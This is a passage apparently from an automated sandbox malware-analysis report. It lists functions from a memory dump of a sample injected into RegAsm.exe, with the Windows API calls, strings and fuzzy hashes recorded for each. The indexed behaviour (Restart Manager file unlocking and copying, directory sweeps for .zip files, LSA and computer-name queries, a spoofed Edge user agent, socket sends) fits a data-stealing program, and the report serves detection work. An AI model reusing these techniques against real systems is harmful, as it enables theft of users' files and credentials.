SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?,00000000), ref: 004AA277

Part of subcall function 004C6000: FindFirstFileA.KERNEL32(00000000,?,00000000), ref: 004C613F

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FileFindFirstFolderPath
String ID:
API String ID: 2195519125-0
Opcode ID: f2a4f45684c4826942b87dbc51d56b08bcd328d754dca5882d87254eacb1e10b
Instruction ID: 28088510ac93d66fc4d60b3de08a6c68e6d5d69eccba037a0543c049ec54885c
Opcode Fuzzy Hash: f2a4f45684c4826942b87dbc51d56b08bcd328d754dca5882d87254eacb1e10b
Instruction Fuzzy Hash: BA7312B0C052688BDB65CF68C984BEDBBB5BF59304F1082DAD449A7281DB346F84CF95

Function 0053F550 Relevance: 3.5, APIs: 2, Instructions: 484COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0053F705
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0053FA07

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 6ae8c637088de4902e6d455990272f9b247a4e20bc2d6b6d02b88d9e5933e8eb
Instruction ID: 1f76d2344d35fe0e13097961589cbfb84b6978ae6f877586e2245b879765d82e
Opcode Fuzzy Hash: 6ae8c637088de4902e6d455990272f9b247a4e20bc2d6b6d02b88d9e5933e8eb
Instruction Fuzzy Hash: E3029C71A04702AFDB18CF29C840B6ABBE4BF88318F14867DE859D7650D774ED94CB92

Function 0045D510 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 280
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OutputDebugStringA.KERNEL32(h6rt hrd54,005659DA,?,?), ref: 0045D7FF

Part of subcall function 00413D50: Concurrency::cancel_current_task.LIBCPMT ref: 00414093

Strings

4, xrefs: 0045D69D
h6rt hrd54, xrefs: 0045D7FA
168, xrefs: 0045D901

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_taskDebugOutputString
String ID: 168$4$h6rt hrd54
API String ID: 2382360859-1568603024
Opcode ID: 1c4f5438e8747fe2de1d0bc48d6a6daa02d5ba84f0e5c57da59d3fb6781e75fb
Instruction ID: 1c3b1535649d7cdfba491989f2624b8c9cc3d302d7556171bc5f6ed38105c079
Opcode Fuzzy Hash: 1c4f5438e8747fe2de1d0bc48d6a6daa02d5ba84f0e5c57da59d3fb6781e75fb
Instruction Fuzzy Hash: 77C14A30D05389EACB10FBA9890A6EDBF70AB16314F14428DE865372D2DB781B45DB96

Function 004EEA40 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 148
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CharNextA.USER32 ref: 004EEA65
CharNextA.USER32 ref: 004EEA85
CharNextA.USER32 ref: 004EEAA5
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004EEAD6
lstrlenA.KERNEL32(?,00000000,00000000,00000003,00000000), ref: 004EEB52
GetProcessHeap.KERNEL32(00000008,?,00000000,00000000,00000003,00000000), ref: 004EEB6E
HeapAlloc.KERNEL32(00000000), ref: 004EEB71
lstrcpynA.KERNEL32(00000000,?,?), ref: 004EEB7E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004EEBA9
HeapFree.KERNEL32(00000000), ref: 004EEBAC

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36, xrefs: 004EEB8E

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$CharNext$Process$AllocFreeUnothrow_t@std@@@__ehfuncinfo$??2@lstrcpynlstrlen
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36
API String ID: 2305228968-2732702261
Opcode ID: 5fd86effdb08ae5e921d8deb505cae3a430545ece7315e41355ef6a8e8a93e14
Instruction ID: 66e08b66e62082d9c79a605ab5b022e87f42821b87c70d6f65fc34b32a61c15c
Opcode Fuzzy Hash: 5fd86effdb08ae5e921d8deb505cae3a430545ece7315e41355ef6a8e8a93e14
Instruction Fuzzy Hash: F1414976D003449FCF10CFAB9C80AAABBB5FF69302B08016BEA05B7351E7755D059B64

Function 00442CD3 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0044298C: CreateFileW.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 004429A9

GetLastError.KERNEL32 ref: 00442DE7
__dosmaperr.LIBCMT ref: 00442DEE
GetFileType.KERNEL32(00000000), ref: 00442DFA
GetLastError.KERNEL32 ref: 00442E04
__dosmaperr.LIBCMT ref: 00442E0D
CloseHandle.KERNEL32(00000000), ref: 00442E2D
CloseHandle.KERNEL32(?), ref: 00442F7A
GetLastError.KERNEL32 ref: 00442FAC
__dosmaperr.LIBCMT ref: 00442FB3

Strings

H, xrefs: 00442F38

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 899e8745e59b9231842c25977fdcfb02482e73fc2f27b2205138a63271f33108
Instruction ID: 5150a9c177428a163fa7fb1c8ad58043a10a64c5935946436f9da82f6cbe0861
Opcode Fuzzy Hash: 899e8745e59b9231842c25977fdcfb02482e73fc2f27b2205138a63271f33108
Instruction Fuzzy Hash: 4EA15832A101149FEF19AF68DC917AE3BB1AB06314F58014EF801EF3A1CB799C56DB59

Function 0045E140 Relevance: 17.4, APIs: 11, Instructions: 889
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040B8E0: CreateDirectoryA.KERNEL32(?,00000000), ref: 0040BA08

CreateDirectoryA.KERNEL32(?,00000000), ref: 0045E242
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 0045E3D3
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 0045E4C6
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,-0000004C), ref: 0045E5BC
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,-0000004C), ref: 0045E808
CreateDirectoryA.KERNEL32(?,00000000), ref: 0045E986
CreateDirectoryA.KERNEL32(?,00000000,?,-0000004C), ref: 0045EB1D
CreateDirectoryA.KERNEL32(?,00000000,00000000,?,?,?,-0000004C), ref: 0045EC10

Part of subcall function 004E6CA0: GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
Part of subcall function 004E6CA0: GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,-0000004C), ref: 0045ED06

Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
Part of subcall function 004E6CA0: std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,?,?,-0000004C), ref: 0045EDED
CreateDirectoryA.KERNEL32(?,00000000,?,00000000,?,?,?,-0000004C), ref: 0045F06D

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 453214671-0
Opcode ID: 5b5a8211351bb408a67d54940f242fc7c218e21a27f66d1346c999d293b388ff
Instruction ID: 0e418cf523baa0a35c0a910b93c4bb77d5942d6061cfe1063ad62b245a56bb8b
Opcode Fuzzy Hash: 5b5a8211351bb408a67d54940f242fc7c218e21a27f66d1346c999d293b388ff
Instruction Fuzzy Hash: 4FA226B0D012688BCB25DB65CD95BDDBBB4AF14304F0040EED44A67282EB785F88DF5A

Function 004D6BA0 Relevance: 15.2, APIs: 10, Instructions: 164
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,00000000), ref: 004D6BD3
RmStartSession.RSTRTMGR(?,00000000,?), ref: 004D6C50
RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000,?), ref: 004D6C91
RmGetList.RSTRTMGR(?,00000000,?,?,?), ref: 004D6CB9
RmShutdown.RSTRTMGR(?,00000001,00000000), ref: 004D6CDA
RmEndSession.RSTRTMGR(?), ref: 004D6CF7
SetLastError.KERNEL32(00000000), ref: 004D6CFE
CopyFileA.KERNEL32(?,?,00000000), ref: 004D6D25
GetLastError.KERNEL32(?,?,00000000), ref: 004D6D33
CopyFileA.KERNEL32(?,?,00000000), ref: 004D6D47

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$CopyFileSession$ListRegisterResourcesShutdownStart
String ID:
API String ID: 304452573-0
Opcode ID: a8327e92bb0171081ed80a001bc2fd376f61390aad4190041d18571e8f39991b
Instruction ID: cca443e56f4e81c83c2dc89493b37bcb85ee1d7da0cfa031959f485395bd6110
Opcode Fuzzy Hash: a8327e92bb0171081ed80a001bc2fd376f61390aad4190041d18571e8f39991b
Instruction Fuzzy Hash: 6051C172D01219ABCB21CF94DC55BEEBBB8EB04320F10026AE804B3390D7396E05CBA4

Function 004E4720 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 291registryCOMMON

Download Yara Rule

APIs

RegGetValueA.KERNEL32(80000002,?,?,0001FFFF,00000001,?,00000104,?,?,?), ref: 004E4A70
GetComputerNameExA.KERNEL32(00000002,?,00000104,?,?,?,?,?,?), ref: 004E4ADC
LsaOpenPolicy.ADVAPI32(00000000,00587684,00000001,?), ref: 004E4B35
LsaQueryInformationPolicy.ADVAPI32(?,0000000C,?), ref: 004E4B48
LsaFreeMemory.ADVAPI32(?), ref: 004E4B76
LsaClose.ADVAPI32(?), ref: 004E4B7F

Strings

;Yb., xrefs: 004E49C7
%wZ, xrefs: 004E4B65

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Policy$CloseComputerFreeInformationMemoryNameOpenQueryValue
String ID: %wZ$;Yb.
API String ID: 762890658-2876608990
Opcode ID: 2bc047424b68b6e0ce855dfc6fb159c5a4099c2ee4e6a33927d68cf5a723d6b1
Instruction ID: db120a3af714b361d6db134a28a940fef9e0d4b71911d12d67c4190411436b99
Opcode Fuzzy Hash: 2bc047424b68b6e0ce855dfc6fb159c5a4099c2ee4e6a33927d68cf5a723d6b1
Instruction Fuzzy Hash: 1EE101B4D0425A8FDB14CF98C985BEEBBB4BF08304F2041AAE949B7341D7745A85CFA5

Function 00426098 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 145COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 004262F4

Strings

h, xrefs: 004262AD
array, xrefs: 00426221
)@, xrefs: 004262EA, 00426306
e, xrefs: 00426319
Pb, xrefs: 00426310

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: )@$Pb$array$e$h
API String ID: 4194217158-991079063
Opcode ID: f673b012531fd5cb8571ee6ef1066861dbbf31c5c149a555d4784e513f6a5fb4
Instruction ID: c52905a12b290773a65bed15e4985005163493dacf9c35c0b4037faafa19b5ff
Opcode Fuzzy Hash: f673b012531fd5cb8571ee6ef1066861dbbf31c5c149a555d4784e513f6a5fb4
Instruction Fuzzy Hash: 8751F770D002A8DFDB15DFA8D8447EEBBB1AF15304F14429EE405A7382D7796A88CB56

Function 004EA460 Relevance: 9.5, APIs: 2, Strings: 3, Instructions: 721COMMON

Download Yara Rule

APIs

Part of subcall function 00429070: ___std_fs_convert_narrow_to_wide@20.LIBCPMT ref: 0042910D
Part of subcall function 00429070: ___std_fs_convert_narrow_to_wide@20.LIBCPMT ref: 00429155

GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,0055BE78,?,?,?,?,?,?,?,00000000), ref: 004EA7DB
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 004EAD83

Strings

.zip, xrefs: 004EA5A8
recursive_directory_iterator::recursive_directory_iterator, xrefs: 004EAED6
status, xrefs: 004EAEC5

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ___std_fs_convert_narrow_to_wide@20$AttributesFileIos_base_dtorstd::ios_base::_
String ID: .zip$recursive_directory_iterator::recursive_directory_iterator$status
API String ID: 3330089674-1106645639
Opcode ID: 39500ef44ae8891893e391ca32c2a261da514777514d00d36648c6c7972d4398
Instruction ID: e4b5c69169a378d9843cad64a7a06f9a4124bc1a4b6041df06ffae8f81546417
Opcode Fuzzy Hash: 39500ef44ae8891893e391ca32c2a261da514777514d00d36648c6c7972d4398
Instruction Fuzzy Hash: F6729F70D01298CFDB14DF69C944BEEBBB1BF14308F14419ED4096B282DB78AE84DB96

Function 00448910 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2bf7a6ce7160b63e1e0f40002c67494ff8c94fc8f05ff92104de836704f7e57
Instruction ID: d4d7462daa34083545f9d93f0c5ebf53bf58a01a885379ada905c47cec286c1a
Opcode Fuzzy Hash: c2bf7a6ce7160b63e1e0f40002c67494ff8c94fc8f05ff92104de836704f7e57
Instruction Fuzzy Hash: E2B1F4B0A00245AFFB11DF99C881BAE7BB1FF55304F14015EE414AB392CB78AD81CB69

Function 00409280 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382libraryloadernetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(Ws2_32.dll,?,?,?,?,0054D15C,00000000,0000033C,00000000), ref: 004096A6
GetProcAddress.KERNEL32(00000000,?), ref: 004096B4
WSASend.WS2_32(?,?,00000001,00000000,00000000,00000000,00000000,?,?,?,?,0054D15C,00000000,0000033C,00000000), ref: 004096C9

Strings

Ws2_32.dll, xrefs: 0040969A

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressHandleModuleProcSend
String ID: Ws2_32.dll
API String ID: 2819740048-3093949381
Opcode ID: 73c8971c8e42ebab80a69191c81af7e09f758d6fe1b0064e20d695a72e5eeb83
Instruction ID: 188670ed5cfc709ed037a390f66f33add7af100e18449b0941b00ad524943a05
Opcode Fuzzy Hash: 73c8971c8e42ebab80a69191c81af7e09f758d6fe1b0064e20d695a72e5eeb83
Instruction Fuzzy Hash: 7C02CE70D04298DEDF25CFA4C8907ADBBB0EF59304F24429EE4456B2C6D7781D86CB96

Function 00408F20 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 272libraryloadernetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(Ws2_32.dll,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 004091C8
GetProcAddress.KERNEL32(00000000,?), ref: 004091D3
WSASend.WS2_32(?,?,00000001,00000000,00000000,00000000,00000000), ref: 004091EC

Strings

Ws2_32.dll, xrefs: 004091BF

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressHandleModuleProcSend
String ID: Ws2_32.dll
API String ID: 2819740048-3093949381
Opcode ID: 87e1872858ac1d0539a391c21140c6c418be5dcb765aa5c43d8d41cad525e975
Instruction ID: cb5ead6240095672237fdab8273f91d80b82b8d73d4ae51f565ea22395c8577a
Opcode Fuzzy Hash: 87e1872858ac1d0539a391c21140c6c418be5dcb765aa5c43d8d41cad525e975
Instruction Fuzzy Hash: E7C16A70E01214DFCB24CFA8C84579EBBB0BF08714F24859EE955AB392D779AD01CB95

Function 004E6CA0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6CFC
GetLastError.KERNEL32(?,?,00000006,00000005,00000005), ref: 004E6D07
std::_Throw_Cpp_error.LIBCPMT ref: 004E6D4F
std::_Throw_Cpp_error.LIBCPMT ref: 004E6D60

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$AttributesErrorFileLast
String ID:
API String ID: 995686243-0
Opcode ID: a41b107952486ec6df40509093918f0748ebbc491fc93ddbf32ccf01928707ec
Instruction ID: 241e2f942859b358e1133ab4bf22632851a161ac9c5554c12c2f2fb0b7350d8e
Opcode Fuzzy Hash: a41b107952486ec6df40509093918f0748ebbc491fc93ddbf32ccf01928707ec
Instruction Fuzzy Hash: DF11CE71A0028496DB205F6A5C08F6A7F60EB22772F64031BD8359B3D4DB3948058759

Function 0045098D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00450995

Part of subcall function 0044EC55: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0044A862,?,00000000,-00000008), ref: 0044ECB6

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004509CD
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004509ED

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 568559e856e2f1adfd0d246723b0f74687b9e96be43b83c986cd570a0e31e6c6
Instruction ID: 05a916c6faf25a0682dab3744c632e1b74caa3fe19fc9bf69ed868d66b577761
Opcode Fuzzy Hash: 568559e856e2f1adfd0d246723b0f74687b9e96be43b83c986cd570a0e31e6c6
Instruction Fuzzy Hash: EB112BF6901719BF77216BB35C89CBF696CEE6839B710002AF801D1243FB29CD0591B9

Function 0044D130 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 408timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0044D575,00000000,00000000,00000000), ref: 0044D434

Strings

Eastern Summer Time, xrefs: 0044D4E1
Eastern Standard Time, xrefs: 0044D4CD

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: e8dec13318e93fcf9ed2b5402a1a784eb98e993d63d70682052402c0bb43f0a8
Instruction ID: 995cd6d02630714d132d55606a96056be67725e06db18ab92a0eb750c7361116
Opcode Fuzzy Hash: e8dec13318e93fcf9ed2b5402a1a784eb98e993d63d70682052402c0bb43f0a8
Instruction Fuzzy Hash: C1C12472D00215ABEB20AF659C42ABF7BB9EF04714F54405BFD05EB291EB389E41C798

Function 004C7070 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 325fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004E74C0: __fread_nolock.LIBCMT ref: 004E7609

DeleteFileA.KERNEL32(?), ref: 004C70EB

Strings

default26, xrefs: 004C7171, 004C718A
168, xrefs: 004C7135, 004C714E

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: DeleteFile__fread_nolock
String ID: 168$default26
API String ID: 3901365830-2032801032
Opcode ID: 059d821d839ac1eed9537fcd0354144ed48632e99a4b41dd4ac46f258c561dc7
Instruction ID: 994a29ed8d939f73133b05733742be9ed0c6bb819da8c78882f75ca7b06cd161
Opcode Fuzzy Hash: 059d821d839ac1eed9537fcd0354144ed48632e99a4b41dd4ac46f258c561dc7
Instruction Fuzzy Hash: 7CE18AB4D00249CBCB04CFA8C945BAEBBB1BF48304F24419DE9056B392DB78AE45CF95

Function 00406B10 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 258COMMON

Download Yara Rule

APIs

___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00406CF0
___std_fs_directory_iterator_advance@8.LIBCPMT ref: 00406D3E

Strings

., xrefs: 00406D10

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ___std_fs_directory_iterator_advance@8
String ID: .
API String ID: 2610647541-248832578
Opcode ID: 5f3eade700469c7a9fb5890c11079ead9cbf970de5817dbd2772bd5265551e32
Instruction ID: 06e113195c9c995bb1126ed1958f592d786724859c69b2563011d6ef3baaff07
Opcode Fuzzy Hash: 5f3eade700469c7a9fb5890c11079ead9cbf970de5817dbd2772bd5265551e32
Instruction Fuzzy Hash: 6A91D071A00625ABCB34DF18C4846AAB7B4FF05324F01026AE856A77D0D739FDA5CBD9

Function 0044D3C2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 156timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0044B01A: RtlFreeHeap.NTDLL(00000000,00000000,?,00451B48,?,00000000,?,?,00451DE9,?,00000007,?,?,004522DD,?,?), ref: 0044B030
Part of subcall function 0044B01A: GetLastError.KERNEL32(?,?,00451B48,?,00000000,?,?,00451DE9,?,00000007,?,?,004522DD,?,?), ref: 0044B03B

GetTimeZoneInformation.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,0044D575,00000000,00000000,00000000), ref: 0044D434

Strings

Eastern Summer Time, xrefs: 0044D4E1
Eastern Standard Time, xrefs: 0044D4CD

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3335090040-239921721
Opcode ID: 96cc1aebc0795edbd33adefee60d8e8a2bdc838a1270e5841083961433604698
Instruction ID: 0255725ddff17caa4800aa52bb8978858ba55e04c5c19623f61c368dcd9d3b90
Opcode Fuzzy Hash: 96cc1aebc0795edbd33adefee60d8e8a2bdc838a1270e5841083961433604698
Instruction Fuzzy Hash: D5412671C01210ABEB10BF76DC4695E7BB9EF05368F10416BF914E72A1EB389E00DB98

Function 004D65F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 004D676A
std::_Throw_Cpp_error.LIBCPMT ref: 004D677B

Strings

UaJ, xrefs: 004D65FD

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID: UaJ
API String ID: 2134207285-2144978721
Opcode ID: c246c5826d7e5fdc7215037b4984a62e1ed8d52d1cc067ddb0de3ef1ef845752
Instruction ID: 177bb7d1701b8dda1f5a90c4ee3be826f8175b366ab48e47effb054e9b4aa952
Opcode Fuzzy Hash: c246c5826d7e5fdc7215037b4984a62e1ed8d52d1cc067ddb0de3ef1ef845752
Instruction Fuzzy Hash: 6441F2B1E002058BC720DF68995136EBBA1BB94314F19072FE815673D1EB79EA04C795

Function 004D6790 Relevance: 4.8, APIs: 3, Instructions: 278fileCOMMON

Download Yara Rule

APIs

CopyFileA.KERNEL32(?,?,00000000), ref: 004D6A20

Part of subcall function 004D6BA0: GetLastError.KERNEL32(?,00000000), ref: 004D6BD3
Part of subcall function 004D6BA0: RmStartSession.RSTRTMGR(?,00000000,?), ref: 004D6C50
Part of subcall function 004D6BA0: RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000,?), ref: 004D6C91
Part of subcall function 004D6BA0: RmGetList.RSTRTMGR(?,00000000,?,?,?), ref: 004D6CB9

std::_Throw_Cpp_error.LIBCPMT ref: 004D6B84
std::_Throw_Cpp_error.LIBCPMT ref: 004D6B95

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CopyErrorFileLastListRegisterResourcesSessionStart
String ID:
API String ID: 663416093-0
Opcode ID: 0d690ff24b18db9c916f0842190a6e2cffd1359bf355e0d43cc85905f05bfbe0
Instruction ID: af59b977606615079acd7a310a8afa41bd250120d803ccb4a837ad8b48953fd5
Opcode Fuzzy Hash: 0d690ff24b18db9c916f0842190a6e2cffd1359bf355e0d43cc85905f05bfbe0
Instruction Fuzzy Hash: 5BD18BB0C00249DBDB04DFA9C9557EEBBB1BF54304F14419ED80577382EB785A45CBA6

Function 004E6C10 Relevance: 4.5, APIs: 3, Instructions: 45COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000,00000005), ref: 004E6C55

Part of subcall function 00432BAA: ReleaseSRWLockExclusive.KERNEL32(004E6D30,?,004E6D38,005894F8,?,00000006), ref: 00432BBE

std::_Throw_Cpp_error.LIBCPMT ref: 004E6C84
std::_Throw_Cpp_error.LIBCPMT ref: 004E6C95

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CreateDirectoryExclusiveLockRelease
String ID:
API String ID: 1881651058-0
Opcode ID: 251b94c681db7aa9652e2079438b778d47cb236730820daf6fe536873be9b5d1
Instruction ID: b54f6e02dbe68d52aaf8ce57ceccae370b453a77f91dfdb3bbc81736346272f4
Opcode Fuzzy Hash: 251b94c681db7aa9652e2079438b778d47cb236730820daf6fe536873be9b5d1
Instruction Fuzzy Hash: B2F049B1500640FBD7109F999D06B6ABBA8FB05731F14031AFC35A63D0D7B5190087AA

Function 00414630 Relevance: 3.2, APIs: 2, Instructions: 185COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004147CB
__fread_nolock.LIBCMT ref: 004147ED

Memory Dump Source

Source File: 00000002.00000002.2356975789.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

